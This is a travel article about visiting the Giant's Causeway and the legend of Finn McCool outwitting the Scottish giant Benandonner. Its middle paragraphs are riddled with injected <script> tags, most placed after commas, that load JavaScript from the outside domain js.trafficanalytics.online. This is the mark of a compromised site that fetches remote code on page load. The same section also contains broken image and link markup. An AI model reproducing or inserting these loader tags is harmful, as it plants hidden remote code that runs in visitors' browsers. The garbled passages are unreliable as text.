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Myth of the Giant’s Causeway

by Waheeda Harris

The cliffs are sharp, the land a vibrant green and the sea a dark blue. After rolling along the green coast of Northern Ireland, I was arriving at the Giant’s Causeway. This unique combination of rocks is a geological rarity, and it’s no surprise it has fuelled many an Irish storyteller.

Squinting into the distance from the Causeway Drive, it’s almost possible to make out the distant shores of Scotland. And it’s this location that probably helped give rise to the myth associated with the Giant’s Causeway, which—like many of the Emerald Isle’s tales—is linked to the mythical hunter/warrior Finn McCool.

Waheeda Harris stumbles on the Giant's Causeway in Northern Ireland and finds out about the mythical warrior, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> Finn McCool — hero of many an Irish legend.” src=”http://www.travelandescape.ca/wp-content/uploads/2012/06/Panorama-of-Giants-Causeway-630×411.jpg” width=”630″ height=”411″ /></a>Irish folklore spins many a tale about the prowess of McCool as he battled against the Irish kings, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> discovered the world’s secrets through the salmon of knowledge and went up against the fierce Scots.</p>
<p>As the story goes, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> Finn McCool awoke to find a Scottish giant, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> Benandonner, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> on his way to Ireland on the Causeway. He turned to his wife, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> Oonagh, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> to help him against the much bigger Scotsman, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> and she disguised him as a baby lying in a cradle. When Benandonner saw the sleeping babe, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> his assumption that the father would be many times bigger sent him running back to Scotland, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> destroying the Causeway as he went.</p>
<p>There are hundreds of people at this <a href=World Heritage Site, the most popular attraction of Northern Ireland. As I walked downhill on the path, the Giant’s Causeway was hidden from view until I descended and turned the corner at the bottom of the cliff.

As I got closer, I noticed the distinct shapes of the rocks—small pillars and tall columns, perfectly symmetrical hexagons made from basalt rock, a result of volcanic activity 60 million years ago. Although they looked like they were carved by machinery, the rocks are natural formations, at odds with the standard cliff outcroppings surrounding them.